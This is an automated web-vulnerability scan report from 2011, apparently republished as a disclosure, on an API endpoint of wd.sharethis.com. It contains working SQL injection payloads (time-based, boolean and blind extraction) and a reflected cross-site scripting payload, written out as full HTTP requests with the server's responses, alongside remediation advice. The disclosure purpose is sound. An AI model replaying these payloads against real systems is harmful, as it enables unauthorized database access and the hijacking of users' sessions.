Boolean SQL Injection, Database User is Admin, wd.sharethis.com REPORT SUMMARY

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog Article on wd.sharethis.com Boolean SQL Injection | Boolean SQL Injection, DORK, GHDB Report via Acunetix 7.AprilBuild
Loading



Netsparker - Scan Report Summary
TARGET URL
http://wd.sharethis.com/api/getApi.php?return...
SCAN DATE
4/22/2011 8:16:05 AM
REPORT DATE
4/22/2011 8:35:24 AM
SCAN DURATION
00:01:36

Total Requests

Average Speed

req/sec.
9
identified
6
confirmed
2
critical
3
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
22 %
IMPORTANT
22 %
LOW
22 %
INFORMATION
33 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/ Forbidden Resource Yes
/api/getApi Apache Version Disclosure No
PHP Version Disclosure No
/api/getApi.php publisher GET Blind SQL Injection Yes
publisher GET Boolean Based SQL Injection Yes
cb GET Cross-site Scripting Yes
Database User Has Admin Privileges Yes
MySQL Database Identified Yes
/crossdomain.xml Crossdomain.xml Identified No
Blind SQL Injection

Blind SQL Injection

1 TOTAL
CRITICAL
CONFIRMED
1
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed us to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
SQL Injection in wd.sharethis.com, DORK, Boolean SQL Injection, CWE-89, CAPEC-66 SQL Injection in wd.sharethis.com, DORK, Boolean SQL Injection, CWE-89, CAPEC-66 SQL Injection in wd.sharethis.com, DORK, Boolean SQL Injection, CWE-89, CAPEC-66 SQL Injection in wd.sharethis.com, DORK, Boolean SQL Injection, CWE-89, CAPEC-66

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate the all dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /api/getApi.php

/api/getApi.php CONFIRMED

http://wd.sharethis.com/api/getApi.php?return=json&cb=getPubGA_onSuccess&service=getPublisherDomains..

Parameters

Parameter Type Value
return GET json
cb GET getPubGA_onSuccess
service GET getPublisherDomains
publisher GET -111' OR SLEEP(25)=0 LIMIT 1--

Request

GET /api/getApi.php?return=json&cb=getPubGA_onSuccess&service=getPublisherDomains&publisher=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: wd.sharethis.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 13:16:18 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 165
Connection: close
Content-Type: text/html


getPubGA_onSuccess({"status":"SUCCESS","data":{"domain":[{"name":"robschultz.typepad.com","google_analytics":"","omniture":"","adtag_widgetheader":"","adtag_widgetfooter":"","verified":1}]}});
Boolean Based SQL Injection

Boolean Based SQL Injection

1 TOTAL
CRITICAL
CONFIRMED
1
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

The best way to protect your code against SQL Injections is using parameterised queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.

External References

Remedy References

- /api/getApi.php

/api/getApi.php CONFIRMED

http://wd.sharethis.com/api/getApi.php?return=json&cb=getPubGA_onSuccess&service=getPublisherDomains..

Parameters

Parameter Type Value
return GET json
cb GET getPubGA_onSuccess
service GET getPublisherDomains
publisher GET ' OR 'ns'='ns

Request

GET /api/getApi.php?return=json&cb=getPubGA_onSuccess&service=getPublisherDomains&publisher='+OR+'ns'%3d'ns HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: wd.sharethis.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 13:16:22 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 41
Connection: close
Content-Type: text/html


getPubGA_onSuccess();
Cross-site Scripting

Cross-site Scripting

1 TOTAL
IMPORTANT
CONFIRMED
1
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /api/getApi.php

/api/getApi.php CONFIRMED

http://wd.sharethis.com/api/getApi.php?return=json&cb='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3E..

Parameters

Parameter Type Value
return GET json
cb GET '"--></style></script><script>alert(0x000059)</script>
service GET getPublisherDomains
publisher GET null

Request

GET /api/getApi.php?return=json&cb='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000059)%3C/script%3E&service=getPublisherDomains&publisher=null HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: wd.sharethis.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 13:16:17 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 106
Connection: close
Content-Type: text/html


'"--></style></script><script>netsparker(0x000059)</script>({"status":"SUCCESS","data":{"domain":[]}});
Database User Has Admin Privileges

Database User Has Admin Privileges

1 TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that the target web site is connecting to the backend database by using a user that has administrative privileges. This issue has been confirmed by checking the connection privileges via an identified SQL Injection vulnerability in the application.

Impact

This can allow an attacker to gain extra privileges via SQL Injection attacks. Here is the list of attacks that the attacker might carry out:

Remedy

Create a database user with the least possible permissions for your application and connect to the database with that user. Always follow the principle of providing the least privileges for all users and applications.

External References

- /api/getApi.php

/api/getApi.php CONFIRMED

http://wd.sharethis.com/api/getApi.php?return=json&cb=getPubGA_onSuccess&service=getPublisherDomains..

Request

GET /api/getApi.php?return=json&cb=getPubGA_onSuccess&service=getPublisherDomains&publisher='+OR+'ns'%3d'ns HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: wd.sharethis.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 13:16:22 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 41
Connection: close
Content-Type: text/html


getPubGA_onSuccess();
Apache Version Disclosure

Apache Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /api/getApi

/api/getApi

http://wd.sharethis.com/api/getApi

Extracted Version

2.2.14 (Ubuntu)

Request

HEAD /api/getApi HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Accept: netsparker/check
Cache-Control: no-cache
Host: wd.sharethis.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 13:16:10 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 20
Connection: close
Content-Type: text/html


PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /api/getApi

/api/getApi

http://wd.sharethis.com/api/getApi

Extracted Version

PHP/5.3.2-1ubuntu4.2

Request

HEAD /api/getApi HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Accept: netsparker/check
Cache-Control: no-cache
Host: wd.sharethis.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 13:16:10 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 20
Connection: close
Content-Type: text/html


Forbidden Resource

Forbidden Resource

1 TOTAL
INFORMATION
CONFIRMED
1
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.

Impact

There is no impact resulting from this issue.
- /

/ CONFIRMED

http://wd.sharethis.com/

Request

GET / HTTP/1.1
Referer: http://wd.sharethis.com/api/getApi.php?return=json&cb=getPubGA_onSuccess&service=getPublisherDomains&publisher=null
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: wd.sharethis.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 403 Forbidden
Date: Fri, 22 Apr 2011 13:16:09 GMT
Server: Apache/2.2.14 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 235
Connection: close
Content-Type: text/html; charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /on this server.</p><hr><address>Apache/2.2.14 (Ubuntu) Server at w.sharethis.com Port 80</address></body></html>
MySQL Database Identified

MySQL Database Identified

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.

Impact

This issue is reported as additional information only, there is no direct impact arising from this issue.
- /api/getApi.php

/api/getApi.php CONFIRMED

http://wd.sharethis.com/api/getApi.php?return=json&cb=getPubGA_onSuccess&service=getPublisherDomains..

Request

GET /api/getApi.php?return=json&cb=getPubGA_onSuccess&service=getPublisherDomains&publisher=-null%27OR%201=1%20AND%201=(SELECT%20IF((IFNULL(ASCII(SUBSTRING((SELECT%20CONCAT(CHAR(78),CHAR(69),CHAR(84),CHAR(83),CHAR(80),CHAR(65),CHAR(82),CHAR(75),CHAR(69),CHAR(82))),5,1)),0)=88),1,2))--%20 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: wd.sharethis.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 13:16:42 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 82
Connection: close
Content-Type: text/html


getPubGA_onSuccess({"status":"SUCCESS","data":{"domain":[]}});
Crossdomain.xml Identified

Crossdomain.xml Identified

1 TOTAL
INFORMATION
Netsparker identified a Crossdomain.xml file on the target web site. This issue is reported as extra information.

Impact

This issue is reported as extra information, there is no direct impact resulting from this issue.
- /crossdomain.xml

/crossdomain.xml

http://wd.sharethis.com/crossdomain.xml

Policy Rules

Request

GET /crossdomain.xml HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: wd.sharethis.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 13:16:10 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Wed, 13 Apr 2011 06:58:55 GMT
ETag: "16b3f-14a-4a0c7579289c0"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 207
Connection: close
Content-Type: application/xml


<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy> <site-control permitted-cross-domain-policies="master-only" /> <allow-access-from domain="*.meandmybadself.com" /> <allow-access-from domain="*.sharethis.com" /></cross-domain-policy>